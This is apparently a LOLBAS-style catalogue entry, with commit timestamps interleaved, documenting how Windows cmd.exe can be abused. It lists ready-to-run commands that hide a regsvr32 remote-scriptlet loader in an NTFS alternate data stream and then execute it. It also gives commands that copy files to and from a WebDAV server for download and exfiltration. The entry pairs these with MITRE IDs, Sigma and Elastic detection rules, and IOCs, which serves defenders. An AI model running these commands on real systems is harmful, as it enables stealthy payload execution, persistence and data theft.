2019-06-27 13:40:03 +02:00
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2019-06-26 12:33:11 +02:00
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Name: Cmd.exe
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Description: The command-line interpreter in Windows
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2023-03-08 15:39:32 +01:00
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Author: Ye Yint Min Thu Htut
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2021-01-10 16:04:52 +01:00
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Created: 2019-06-26
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2019-06-26 12:33:11 +02:00
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Commands:
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2021-07-06 19:56:24 +02:00
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- Command: cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.010/src/RegSvr32.sct ^scrobj.dll > fakefile.doc:payload.bat
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2019-06-27 13:40:03 +02:00
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Description: Add content to an Alternate Data Stream (ADS).
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Usecase: Can be used to evade defensive countermeasures or to hide as a persistence mechanism
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Category: ADS
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Privileges: User
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2023-03-08 15:39:32 +01:00
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MitreID: T1564.004
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2021-12-14 16:50:17 +01:00
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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2019-06-27 13:40:03 +02:00
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- Command: cmd.exe - < fakefile.doc:payload.bat
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Description: Execute payload.bat stored in an Alternate Data Stream (ADS).
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2019-06-26 12:33:11 +02:00
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Usecase: Can be used to evade defensive countermeasures or to hide as a persistence mechanism
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Category: ADS
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Privileges: User
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2021-11-05 19:58:26 +01:00
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MitreID: T1059.003
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2021-12-14 16:50:17 +01:00
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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2023-03-08 15:39:32 +01:00
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- Command: type \\webdav-server\folder\file.ext > C:\Path\file.ext
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Description: Downloads a specified file from a WebDAV server to the target file.
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Usecase: Download/copy a file from a WebDAV server
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Category: Download
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Privileges: User
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MitreID: T1105
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OperatingSystem: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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- Command: type C:\Path\file.ext > \\webdav-server\folder\file.ext
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Description: Uploads a specified file to a WebDAV server.
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Usecase: Upload a file to a WebDAV server
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Category: Upload
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Privileges: User
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MitreID: T1048.003
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OperatingSystem: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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2019-06-26 12:33:11 +02:00
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Full_Path:
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- Path: C:\Windows\System32\cmd.exe
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- Path: C:\Windows\SysWOW64\cmd.exe
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Detection:
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2022-09-11 07:07:18 +02:00
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- Sigma: https://github.com/SigmaHQ/sigma/blob/688df3405afd778d63a2ea36a084344a2052848c/rules/windows/process_creation/process_creation_alternate_data_streams.yml
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- Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_ads_file_creation.toml
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- Elastic: https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_unusual_dir_ads.toml
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- IOC: cmd.exe executing files from alternate data streams.
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- IOC: cmd.exe creating/modifying file contents in an alternate data stream.
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2019-06-26 12:33:11 +02:00
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Resources:
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- Link: https://twitter.com/yeyint_mth/status/1143824979139579904
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2023-03-08 15:39:32 +01:00
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- Link: https://twitter.com/Mr_0rng/status/1601408154780446721
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- Link: https://medium.com/@mr-0range/a-new-lolbin-using-the-windows-type-command-to-upload-download-files-81d7b6179e22
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- Link: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/type
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2019-06-26 12:33:11 +02:00
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Acknowledgement:
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- Person: r0lan
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Handle: '@yeyint_mth'
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2023-03-08 15:39:32 +01:00
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- Person: Mr.0range
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Handle: '@mr_0rng'
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